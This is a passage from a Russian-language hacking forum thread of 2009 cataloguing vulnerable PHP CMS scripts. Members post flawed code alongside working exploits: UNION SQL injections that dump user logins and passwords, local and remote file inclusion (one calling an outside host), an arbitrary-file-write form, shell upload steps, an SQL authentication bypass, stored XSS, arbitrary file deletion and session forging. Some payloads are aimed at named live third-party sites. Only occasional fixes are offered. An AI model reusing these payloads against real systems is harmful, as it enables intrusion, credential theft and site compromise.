Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    elgg <= 1.5 vuln LFI

    POC: /_css/js.php?js=../../../../tmp/session_dir%00&viewtype=xD

    необходимо, чтоб в табл datalists
    simplecache_enabled=0
    (по дефолту =1 xD)


    Code:
    /_css/js.php:
         33:     $viewinput['view'] = 'js/' . $_GET['js'];
         42:     require_once(dirname(dirname(__FILE__)) . '/simplecache/view.php');
    /simplecache/view.php:
         26:     $view = $viewinput['view'];
         30:     if (@mysql_select_db($CONFIG->dbname,$mysql_dblink)) {
         48:         if ($simplecache_enabled || $override) {
         49:             $filename = $dataroot . 'views_simplecache/' . md5($viewtype . $view);
         51:             $contents = file_get_contents($filename);
         56:         } else {
         59:             $contents = elgg_view($view);
    /lib/elgglib.php:
         237:    function elgg_view($view, ..
         317:        foreach($viewlist as $priority => $view) {
         321:                if (file_exists($view_location . "{$viewtype}/{$view}.php") &&
                                 ![u]include($view_location . "{$viewtype}/{[b]$view[/b]}.php")[/u]) {
    
     
    1 person likes this.
  2. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Irokez CMS 0.7.1 SQL inlection

    Irokez CMS 0.7.1 SQL inlection

    Уязвимость хранится в функции select() класса table.class.php. Дело в том, что передаваемые функцией параметры ничем не фильтруются.

    Copeц бажной функции:

    PHP:
        function select($id)
        {
            if (isset(
    $this->_cache[$id])) {
                
    $data $this->_cache[$id];
            } else {
                
    $data = array();
                
    /*
                    get data
                */
                
    $is_trans in_array($this->_name.$this->_trans$this->db->getTables());
                if (
    $is_trans) {
                    
    $query "select t.*, m.* from {$this->_name} m"
                           
    " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
                           
    " where m.id = '$id' group by {$this->_lang}";
                } else {
                    
    $query "select * from {$this->_name} where id = '$id'";
                }
                
    $result $this->db->exeQuery($query);

                
    $main_fields $this->db->getFields($this->_name);
                if (
    $is_trans) {
                    
    $trans_fields $this->db->getFields($this->_name $this->_trans);
                    
    $trans_fields array_flip($trans_fields);
                } else {
                    
    $trans_fields = array();
                }
                unset(
    $trans_fields[$this->_item], $trans_fields[$this->_lang]);
                
    $trans_fields array_flip($trans_fields);
        
                
    $data = array();
                while (
    $row mysql_fetch_assoc($result)) {
                    foreach (
    $row as $field => $value) {
                        if (
    in_array($field$main_fields)) {
                            
    $data[$field] = $value;
                        } elseif (
    in_array($field$trans_fields)) {
                            
    $data[$field][$row[$this->_lang]] = $value;
                        }
                    }
                }
                if (isset(
    $data['id'])) {
                    
    $this->_cache[$data['id']] = $data;
                }
            }
            return 
    $data;
        }
    Условия:magic_quotes_gpc = Off

    Эксплатация:

    PHP:
    http://localhost/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1
    PHP:
    http://localhost/ru/polls/4'+AND+ascii(lower(substring(version(),1,1)))>5--+/
    Для защиты данной функции можно использовать функцию mysql_escape_string()

    Пример защиты:

    PHP:
    function select($id)
        {
            if (isset(
    $this->_cache[$id])) {
                
    $data $this->_cache[$id];
            } else {
                
    $data = array();
                
    /*
                    get data
                */
                
    $is_trans in_array($this->_name.$this->_trans$this->db->getTables());
                if (
    $is_trans) {
                
    $id mysql_escape_string($id);
                    
    $query "select t.*, m.* from {$this->_name} m"
                           
    " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
                           
    " where m.id = '$id' group by {$this->_lang}";
                } else {
                    
    $query "select * from {$this->_name} where id = '$id'";
                }
                
    $result $this->db->exeQuery($query);

                
    $main_fields $this->db->getFields($this->_name);
                if (
    $is_trans) {
                    
    $trans_fields $this->db->getFields($this->_name $this->_trans);
                    
    $trans_fields array_flip($trans_fields);
                } else {
                    
    $trans_fields = array();
                }
                unset(
    $trans_fields[$this->_item], $trans_fields[$this->_lang]);
                
    $trans_fields array_flip($trans_fields);
        
                
    $data = array();
                while (
    $row mysql_fetch_assoc($result)) {
                    foreach (
    $row as $field => $value) {
                        if (
    in_array($field$main_fields)) {
                            
    $data[$field] = $value;
                        } elseif (
    in_array($field$trans_fields)) {
                            
    $data[$field][$row[$this->_lang]] = $value;
                        }
                    }
                }
                if (isset(
    $data['id'])) {
                    
    $this->_cache[$data['id']] = $data;
                }
            }
            return 
    $data;
        }
    =========================================

    Оформленый эксплойт:
    Code:
    [+]--------------------------------------------------------------------------------------------------------------------[+]
    [+]--------------------------------------------[Irokez 0.7.1 SQL inlection]--------------------------------------------[+]                                                                                                                                                                                        
    [+]--------------------------------------------------------------------------------------------------------------------[+]
    
    -[INFO]----------------------------------------------------------------------------------------------------------------[+]
    [+] Title:Irokez 0.7.1 SQL inlection
    [+] Autor: Ins3t
    [+] Date:04.08.2009
    [+]--------------------------------------------------------------------------------------------------------------------[+]
    
    -[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
    [+] The vulnerability is caused by insufficient processing of select() function, which led to the SQL inj.
    [+] Conditions: magic_quotes_gpc = Off
    [+] Code vulnerable functions:
    
    [+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
        function select($id)
        {
            if (isset($this->_cache[$id])) {
                $data = $this->_cache[$id];
            } else {
                $data = array();
                /*
                    get data
                */
            	$is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
            	if ($is_trans) {
                    $query = "select t.*, m.* from {$this->_name} m"
                           . " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
                           . " where m.id = '$id' group by {$this->_lang}";
            	} else {
                    $query = "select * from {$this->_name} where id = '$id'";
            	}
                $result = $this->db->exeQuery($query);
    
                $main_fields = $this->db->getFields($this->_name);
                if ($is_trans) {
                    $trans_fields = $this->db->getFields($this->_name . $this->_trans);
                    $trans_fields = array_flip($trans_fields);
                } else {
                    $trans_fields = array();
                }
                unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
                $trans_fields = array_flip($trans_fields);
        
                $data = array();
                while ($row = mysql_fetch_assoc($result)) {
                    foreach ($row as $field => $value) {
                        if (in_array($field, $main_fields)) {
                            $data[$field] = $value;
                        } elseif (in_array($field, $trans_fields)) {
                            $data[$field][$row[$this->_lang]] = $value;
                        }
                    }
                }
                if (isset($data['id'])) {
                    $this->_cache[$data['id']] = $data;
                }
            }
            return $data;
        }
    [+]------------------------------------------------[/COD]--------------------------------------------------------------[+]
    
    [+] Exploit:	
    
    [+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
    
    http://localhost/cms/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1
    
    [+]------------------------------------------------[/COD]--------------------------------------------------------------[+]
    
     
    #142 Ins3t, 5 Aug 2009
    Last edited: 5 Aug 2009
    4 people like this.
  3. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Mini-CMS 1.0.1 SQL inlection

    Вот наткнулся на Mini-CMS 1.0.1, скачал, открыл первый попавшийся сорец, сразу понял, что CMS бажная..

    Уязвимый файл: page.php

    Фрагмент уязвимого кода:

    PHP:
    <?php
    $id 
    $_GET['id'];
    database_connect();
    $query "SELECT * from content
              WHERE id = 
    $id";
    $error mysql_error();
    if (!
    $result mysql_query($query)) {
        print 
    "$error";
        exit;
        }

    while(
    $row mysql_fetch_object($result)){
      
    $content $row->text;
      print(
    "$content");
        }
    ?>
    Требования: magic_quotes_gpc = Off и полный путь к config.php

    Эксплатация уязвимости:
    PHP:
    http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]/config.txt'--+
    Пароли от админки не хранятся в базе данных, а хранятся в файле config.php, из за этого нам приходится записывать конфиг в текстовый файл ( хотя лутше уже шелл лить :) ).

    Оформленый эксплойт:

    Code:
    [+]--------------------------------------------------------------------------------------------------------------------[+]
    [+]--------------------------------------------[Mini-CMS 1.0.1 SQL inlection]------------------------------------------[+]  
    [+]--------------------------------------------------------------------------------------------------------------------[+]
    
    -[INFO]----------------------------------------------------------------------------------------------------------------[+]
    [+] Title:Mini-CMS 1.0.1 SQL inlection
    [+] Autor: Ins3t
    [+] Site: www.arthacking.net
    [+] Date:08.08.2009
    [+]--------------------------------------------------------------------------------------------------------------------[+]
    
    -[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
    [+] The vulnerability occurs due to insufficient filtering transferred database parameters. Password is not in the 
    database, and in the config.php file.
    [+] Conditions: magic_quotes_gpc = Off | full patch of file config.php
    [+] Code vulnerable functions:
    
    [+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
    <?php
    $id = $_GET['id'];
    database_connect();
    $query = "SELECT * from content
              WHERE id = $id";                      <------(BUG)
    $error = mysql_error();
    if (!$result = mysql_query($query)) {
        print "$error";
    	exit;
    	}
    
    while($row = mysql_fetch_object($result)){
      $content = $row->text;
      print("$content");
    	}
    ?>
    [+]------------------------------------------------[/COD]---------------------------------------------------------------[+]
    
    [+] Exploit: 
    
    [+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
    
    http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]'--+
    
    [+]------------------------------------------------[/COD]---------------------------------------------------------------[+]
    
     
    #143 Ins3t, 9 Aug 2009
    Last edited: 9 Aug 2009
  4. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Ngcms

    XSS Активная (!)

    Регестрируемся
    В поле "Сайт" и "Откуда"
    Code:
    "><script>alert();</script>
    При просмотре админом через админ панель ваш профайл, выполняется XSS.

    PHP:
        $tvars['vars'] = array(
            
    'php_self'        =>    $PHP_SELF,
            
    'sort_options'    =>    $sort_options,
            
    'how_options'    => $how_options,
            
    'npp_nav'        =>    $npp_nav,
            
    'entries'        =>    $entries,
            
    'per_page'        => $per_page,
            
    'name'            => htmlspecialchars($_REQUEST['name']),
        );

        
    $tpl -> template('table'tpl_actions.$mod);
        
    $tpl -> vars('table'$tvars);
        echo 
    $tpl -> show('table');

    Ещё есть.

    При добавление новости.
    В краткое содержание или полное без разницы.
    Code:
    [img]javascript:alert('XSS')[/img]
    PHP:
        $tvars['vars'] = array(
            
    'php_self'            =>    $PHP_SELF,
            
    'changedate'        =>    ChangeDate($row['postdate']),
            
    'catlist'            =>    makeCategoryList(array('skip' => $cats'nameval' => 1)),
            
    'allcats'            =>    @GetAllCategories($cats),
            
    'comments'            =>    $parse->smilies($comments),
            
    'id'                =>    $row['id'],
            
    'title'                =>    secure_html($row['title']),
            
    'short'                =>    secure_html($story[0]),
            
    'full'                =>    secure_html($story[1]),
            
    'alt_name'            =>    $row['alt_name'],
            
    'avatar'            =>    $row['avatar'],
            
    'description'        =>    secure_html($row['description']),
            
    'keywords'            =>    secure_html($row['keywords']),
            
    'views'                =>    $row['views']
        );

    PS
    Уязвим везде параметр

    (c) Ctacok. Специально для Античат.
     
    #144 Ctacok, 16 Aug 2009
    Last edited: 17 Aug 2009
    5 people like this.
  5. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    KESoft: CMS Кеша

    1.SQL - inj

    PHP:
    #получаем список блоков
            
    $z="select blocks.def_ps, blocks.fname, bpp.psev from blocks, bpp where (bpp.page_id=$pg)and(bpp.block_id=blocks.id)";
            
    $result=mysql_query($z,$connect);
    2. Доступ в админку


    PHP:

    $z
    ="select id,status from users where (login='".$_POST["u_login"]."')and(pass=PASSWORD('".$_POST["u_pass"]."'))";
                    
    $result=mysql_query($z,$connect);

    при MQ=off
    их офф сайт _http://www.kesoft.ru/index.php?pg=20'

    Ну я как бы просто показал
    Result:
    http://www.kesoft.ru./index.php?pg=20+and+substring(version(),1,1)=5#

    Чтение файлов

    http://site.ru/RU(или ru)/blocks/Templ_lst.php?l=../../db.php%00

    файл:UserPar.php
    pg_param.php

    http://www.сайт.ru/ru/blocks/UserPar.php?l=../
    http://www.kesoft.ru/ru/blocks/UserPar.php?l=Http://mail.ru/%00 (читаем mail.ru :D)

    Инклуд удаленный Даже файл админа в инклуде :D
    http://www.kesoft.ru/admin.php?l='%00

    условия в посте Grey'a
    P.S. Там что не файл, то уязвимость) PSS угу :D
     
    _________________________
    #145 HAXTA4OK, 21 Aug 2009
    Last edited: 22 Aug 2009
    2 people like this.
  6. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Зачетная cms:

    Чтение файлов:
    Файл: blocks/auth.php
    PHP:
    <?php
      $bdata
    =file($l."blocks/Auth.dat");
      
    $bdata=str_replace("@u_login@",$u,$bdata);
      
    $bdata=str_replace("@u_pass@","",$bdata);
      for (
    $ii=0$ii<count($bdata); $ii++) {
        echo 
    $bdata[$ii];
    Юзаем так: http://site.ru/RU(или ru)/blocks/auth.php?l=../../db.php%00

    Создание произвольного файла:
    Файл: RU(или ru)/blocks/BlockPar.php
    PHP:
    if (count($_POST)>0) {
    .....................
                if (
    $_POST["Submit"]=="Сохранить изменения текста") {
                
    $z="select fname from blocks where id=$par";
                
    $tmpr=mysql_query($z,$connect);
                
    $fp fopen ($l.mysql_result($tmpr,0,"fname"),"w");
                
    fputs($fp,$_POST["BlockData"]);
                
    fclose($fp);
                
    $m="Содержимое файла блока <font color=green>заменено</font>";
                };
    Юзаем так:

    Code:
    <html>
    <head><title>pLoEnT na HTML!!!</title></head>
    <body>
    <form action="http://site.ru/RU(или ru)/blocks/BlockPar.php?l=../../file.php%00" method="post">
    <textarea name="BlockData" cols="80" rows="10"></textarea>
    <input type="submit" name="Submit" value="Сохранить изменения текста">
    </form>
    </body>
    </html>
    Ой, а там файлов больше чем я думал, продолжим:

    Удалённый инклуд:
    Файл: RU(или ru)/blocks/reg.php
    PHP:
    <?php
      
    include $l."blocks\\UserPar.php";
    ?>
    Юзаем так: http://site.ru/RU(или ru)/blocks/reg.php?l=http://heck.ru/file.php?

    Даже листинг дир в комплект входит:
    Юзаем так: http://site.ru/RU(или ru)/blocks/moduls.php?l=../../%00 (правда вывод кривой, но это мелочи)

    Нужно: mq=off, rg=on, ну а для удалённого инклуда ещё и allow_url_include=он

    P.S. Там что не файл, то уязвимость)
     
    #146 Grey, 21 Aug 2009
    Last edited: 21 Aug 2009
    5 people like this.
  7. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Продукт: CMS Mini
    Версия: <= 0.2.2
    Оффсайт: cmsmini.it
    Скачать: http://sourceforge.net/projects/cmsmini/


    Уязвимость №1:
    Проникновение в админ-панель.

    Уязвимость существует из-за недостаточной фильтрации данных.

    Уязвимый код:
    Code:
    /admin/check.php
    PHP:
    if ($_SESSION['cmsmini_login'] != 1header('location: login.php');
    Если параметр cmsmini_login отличен от еденици, сервер отправляет заголовок Location: login.php. Но выполнения скрипта не останавливается. Это всего лишь браузер воспринимает заголовк как редирект.

    Эксплуатация:
    Для эксплуатации уязвимости необходимо использовать сниффер отправленых пакетов. После открытия страницы /admin/index.php, сниффер получит заголовки вида:
    Code:
    HTTP/1.1 302 Found
    Date: Sat, 22 Aug 2009 19:16:45 GMT
    Server: Apache/2.2.11 (Win32) PHP/5.2.9-2
    X-Powered-By: PHP/5.2.9-2
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    location: login.php
    Transfer-Encoding: chunked
    Content-Type: text/html
    Кроме них в сниффере можно увидеть тело админки. Неудобная, но все же уязвимость.

    Уязвимость №2:
    Заливка файла произвольного расширения.

    Уязвимость существует из-за отсутствия фильтрации/проверки расширения файла.

    Уязвимый код:
    Code:
    /admin/index.php
    PHP:
        case 'newimage':
          
    $imagefile $_FILES['imagefile'];
          if( 
    is_uploaded_file($imagefile['tmp_name']) ) new_image($imagefile$dirpath);
          else die(
    'image upload failed...');
          break;
    Code:
    /admin/functions.php
    PHP:
    function new_image($imagefile$dirpath){
      
    $name $imagefile['name'];
      
    $filename $dirpath.'/'.$name;
      
    $dirlist $dirpath.'/dir.list';
      
    $new_row $name.'|'.$name.'|0|';
      
    move_uploaded_file($imagefile['tmp_name'], $filename);
      
    in_dirlist($dirlist$new_row);
      }
    Эксплуатация:
    Залить любой файл в поле Image.


    Уязвимость №3:
    Читалка файлов.

    Уязвимость существует из-за отсутствия фильтрации входящих данных в параметре path.

    Уязвимый код:
    Code:
    /admin/index.php
    PHP:
    $subpath $_GET['path'];
    if( 
    $subpath )
      
    $dirpath '../pages/'.$subpath;
    ...
    $dirlist $dirpath.'/dir.list';
    ...
    $rows file($dirlist);
    ...
    $n count($rows);
    ...
    for( 
    $i=0$i<$n$i++ ){
    //тут много echo с выводом файла
    Эксплуатация:
    Code:
    /admin/index.php?path=../admin/config.php%00
    Уязвимость №4:
    Активная XSS.

    Уязвимость существует из-за отсутствия фильтрации входящих данных.

    Уязвимый код:
    Code:
    /admin/index.php
    PHP:
    echo $title.'</span>';
    Эксплуатация:
    HTML-код в поле Page/Folder -> create new page / create new folder.

    Уязвимость №5:
    "Листинг" директорий.

    Уязвимость существует из-за отсутствия запрета на чтение файла со списком файлов/директрий.

    Code:
    /folder/dir.list
    © mailbrush​

    Это не все дырки этой CMS...
     
    9 people like this.
  8. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    1. Читалка файлов

    admin/edit.php

    PHP:
    $filename $dirpath.'/'.$name;
    $fh fopen($filename'r');
    Эксплуатация
    cmsmini-0.2.2./admin/edit.php?path=&name=../COPYING

    При register_globals On

    2. Пассивная XSS

    cmsmini-0.2.2./admin/index.php?path=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E

    3. Создание произвольного файла

    cmsmini-0.2.2./admin/reorder.php?path=../reorder1.php%00
     
    _________________________
    #148 HAXTA4OK, 24 Aug 2009
    Last edited: 24 Aug 2009
    3 people like this.
  9. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Если нету копирайта, значит уязвимость найдена автором сообщения. Хотя это не так.

    http://tinyurl.com/mykouz
     
  10. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Linkspile

    SQL Inj:
    Code:
    http://www.site.ru/link.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
    POC:
    Code:
    http://www.linkspile.com/linking.page.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
     
  11. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.linkspile.com/user.link.page.php?siteid=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,user(),database(),version()),14,15,16,17,18--&lng=PHP

    ЗЫ.как бэ добавлю, но вроде все это постить не сюда бы)))так как сорцов нету на руках)))и код выложить не можем
     
    _________________________
  12. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    забавный код в файле admin_delete_image.php

    PHP:
    /*    admin_delete_image.php will delete an image from the server */

    Require "passcheck.php";
    $image=$_GET["image"];
    if (
    file_exists("../uploads/$image")) {
        
    unlink("../uploads/$image");
        }
    header("Location: admin_view_images.php");
    exit;
    ?>
    имея права админа можно удалить любые файлы!!который имеют соответсвующие права

    admin/admin_delete_image.php?image=../index.php%00 и у нас стерается наш index.php
     
    _________________________
  13. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    weenCompany
    китайская цмс

    Сайт:
    http://www.weentech.com/
    Дорк: "Created by weenCompany"

    SQL-injection

    Уязвимый код:

    index.php
    PHP:
    . . . 
    if(
    $article $DB->query_first("SELECT title, metakeywords, metadescription 
    FROM " 
    TABLE_PREFIX $_GET['moduleid']. " WHERE articleid = '" $_GET['articleid'] . "'"))
    . . .
    Эксплуатация:

    Примеры:

    Вывод в тайтле
     
    2 people like this.
  14. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    TGS Content Management
    Только нужна рега, а где там регаться я не нашел (

    SQL
    Файл Message.php
    MQ=off
    PHP:
    $id $_GET['id']; 
            
    $query "SELECT * FROM $table_messanger WHERE messanger_id = '".$id."' ";
    думаю что во всех версиях, в последней есть она

    Файл user.php
    PHP:
    $userid $_GET['id'];
                
    $user_table $prefix."backend_user";
                
    $usermanager_query "SELECT * FROM $user_table WHERE user_id = '".$userid."' ";
    Файл gallery.php
    PHP:
    switch($_GET['option'])
    {
        case 
    "delete":
            
            if (!isset(
    $_GET['iID']))
            {    
    // delete gallery and all images
                
    $query "SELECT * FROM `".$table_images."` WHERE `gallery_id` = '".$_GET['gID']."' ";
     
    _________________________
    #154 HAXTA4OK, 14 Oct 2009
    Last edited: 14 Oct 2009
    2 people like this.
  15. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    OneCMS тока я чет не нашел их(((

    вход в админку

    PHP:
    if ($_GET['load'] == "login") {
    $admin_page "yes";
    if (
    $_GET['login'] == "yes") {
    $usernameb check(stripcslashes($_POST['username']));
    $passwordc check($_POST['password']); 
    $passwordb md5($passwordc);

    $sql mysql_query("SELECT * FROM ".$pre."users WHERE username = '".$usernameb."' AND password = '".$passwordb."' LIMIT 1");
    $login_check mysql_num_rows($sql);
    login :' or 1=1/*
    pass :любой
     
    _________________________
    1 person likes this.
  16. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    MycroCMS
    Blind SQL


    exploit:
    Code:
    ?cat_id=2'+and+substring(version(),1,1)=5+--+
    _http://www.makesense.ch/mycrocms/?cat_id=2'+and+substring(version(),1,1)=5+--+

    PS дыру с entry_id залотали
     
    _________________________
    4 people like this.
  17. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    MultiEngine CMS 0.9.4
    LFI

    PoC: http://site.ru/?mod=.../.../.../.../.../.../.../etc/passwd
     
    3 people like this.
  18. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    MixedCMS_10
    LFI
    PHP:
    $mod $_REQUEST['mod'];
    $op $_REQUEST['op'];
    $isadmin $_REQUEST['isadmin'];

    include 
    "../engine/db.config.php";
    include 
    "./mod/".$mod."/".$mod."_admin.php";
    http://site.com/modules/mod.php?mod='%00

    там есть аплоад
    Аплодим шелл

    Файл download_admin.php
    PHP:
    include "./mod/download/download_config.php";
    ...
    <
    td align=\"center\"><a href=\"mod.php?mod=download&op=add&isadmin=1\"><b>Add Download</b></a></td>
                <td align=\"center\">&nbsp;<!--<a href=\"mod.php?mod=download\"><b>Download Page</b></a>--></td>
    ...
    if (!@copy(
    $url$gal_path."/".$url))
                {
                    disp_error(
    $url." failed to copy");
                }
                unlink(
    $url);
    ...
    download_config.php
    PHP:
    $gal_path './mod/download/archieves';

    по этому куску кода видно mod.php?mod=download&op=add&isadmin=1\" Add Download

    значит надо его грузить

    http://site.com/modules/mod.php?mod=download&op=add&isadmin=1

    затем загружаем шелл и получаем его по адресу modules/mod/download/archieves/shell.php

    PS гуглом и поиском проверил вроде нету такой
     
    _________________________
    #158 HAXTA4OK, 16 Oct 2009
    Last edited: 16 Oct 2009
    1 person likes this.
  19. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    OneFileCMS
    Обход авторизацаии
    На серваке, в общем /tmp
    Создаем сесию, например:
    sess_blablabla
    Code:
    onefilecms_valid|s:1:"1";
    chmod 777 sess_blablabla
    Вставляем куку в браузер:
    Code:
    PHPSESSID=blabla
    И используем багу чтобы прочитать пароли:
    http://host/onefile/onefilecms.php?f=onefilecms.php
    File upload:
    http://host/onefile/onefilecms.php?p=upload&i=new/
     
    6 people like this.
  20. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    ShopOS
    2.4.2
    не знаю как назвать :D типа
    PHP:
    ...
    $filename $_GET['f'];
    ...
    $fp fopen($filename'w');
          
    fwrite($fp$content);
          
    fclose($fp);
    http://site/google_sitemap.php?f=index.php

    в итоге у нас файл index.php примет код
    PHP:
    <?xml version='1.0' encoding='UTF-8'?>
    <urlset xmlns="http://www..com/schemas/sitemap/0.84"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www..com/schemas/sitemap/0.84
    http://www.google.com/schemas/sitemap/0.84/sitemap.xsd">
        <url>
            <loc>http://127.0.0.1/upload444/index.php?cat=1</loc>
            <priority>1.0</priority>
            <lastmod>2010-01-01T01:01:01+03:00</lastmod>
            <changefreq>weekly</changefreq>
        </url>
    ....
    __http://www.vale4ka.org.ua/google_sitemap.php?f=ir.php
    __http://www.vale4ka.org.ua/ir.php
    Code:
    Parse error: syntax error, unexpected T_STRING in /var/www/ir.php on line 1
    в 2.4.3
    это файл xml_sitemap.php
     
    _________________________
    #160 HAXTA4OK, 25 Oct 2009
    Last edited: 25 Oct 2009
    1 person likes this.